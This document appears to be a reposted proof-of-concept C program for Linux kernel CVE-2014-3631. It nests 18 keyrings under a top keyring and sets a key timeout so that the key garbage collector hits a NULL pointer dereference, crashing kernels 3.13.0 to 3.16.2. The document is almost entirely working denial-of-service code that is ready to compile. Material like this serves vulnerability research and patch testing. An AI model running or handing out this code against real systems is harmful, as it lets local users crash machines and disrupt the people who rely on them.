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Linux CVE-2014-3631 Proof Of Concept

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/* ----------------------------------------------------------------------------------------------------
* cve-2014-3631_poc.c
*
* The assoc_array_gc function in the associative-array implementation in lib/assoc_array.c in the Linux kernel before 3.16.3
* does not properly implement garbage collection, which allows local users to cause a denial of service (NULL pointer dereference and system crash)
* or possibly have unspecified other impact via multiple "keyctl newring" operations followed by a "keyctl timeout" operation.
*
*
* This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
*
* Compile with gcc -fno-stack-protector -Wall -o cve-2014-3631_poc cve-2014-3631_poc.c -lkeyutils
*
*
* Emeric Nasi - www.sevagas.com
*-----------------------------------------------------------------------------------------------------*/


/* ----------------------- Includes ----------------------------*/

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <inttypes.h>
#include <keyutils.h>
#include <fcntl.h>


#define TARGET_KERNEL_MIN "3.13.0"
#define TARGET_KERNEL_MAX "3.16.2"
#define EXPLOIT_NAME "cve-2014-3631"
#define EXPLOIT_TYPE DOS


/* ----------------------- functions ----------------------------*/



/**
* Poc for cve_2014_3631 vulnerability
*/
int main()
{
key_serial_t currentKey = 0;
key_serial_t topKey = 0;
int i = 0;
int fp;
char kname[16]={0};
char gc_delay[16] = {0};
int delay =0;

printf("[cve_2014_3631]: Preparing to exploit.\n");

// fetch garbage collector value..
fp = open("/proc/sys/kernel/keys/gc_delay",O_RDONLY);
if(fp == -1)
{
printf("[cve_2014_3631 error]: Could not open /proc/sys/kernel/keys/gc_delay, assuming delay is 5 minutes. \n");
delay = 300;
}
else
{
read(fp,gc_delay,sizeof(gc_delay-1));
delay = atoi(gc_delay);
close(fp);
}

// Add top key
topKey = add_key("keyring","Lvl1K",NULL,0,KEY_SPEC_USER_KEYRING);
if(topKey == -1)
{
printf("[cve_2014_3631 error]: keyring fault\n");
perror("add_key");
return -1;
}

// Add 18 keys to top key
for(i=0; i< 18; i++)
{
memset(kname,00,sizeof(kname));
memcpy(kname,"Lvl2K_",strlen("Lvl2K_"));
sprintf(kname+strlen("Lvl2K_"),"%d",i);
currentKey = add_key("keyring",kname,NULL,0,topKey);
if(currentKey == -1)
{
printf("[cve_2014_3631 error]: keyring fault\n");
perror("add_key");
return -1;
}
}

/* Entering exploit critical code */
printf("[cve_2014_3631]: Exploit!\n");

// Set timeout and wait for garbage collector
keyctl_set_timeout(currentKey, 2);

// Wait for garbage collector
printf("[cve_2014_3631]: Exploit triggered, system will panic in %d seconds..\n",delay);

return 0;
}

Source

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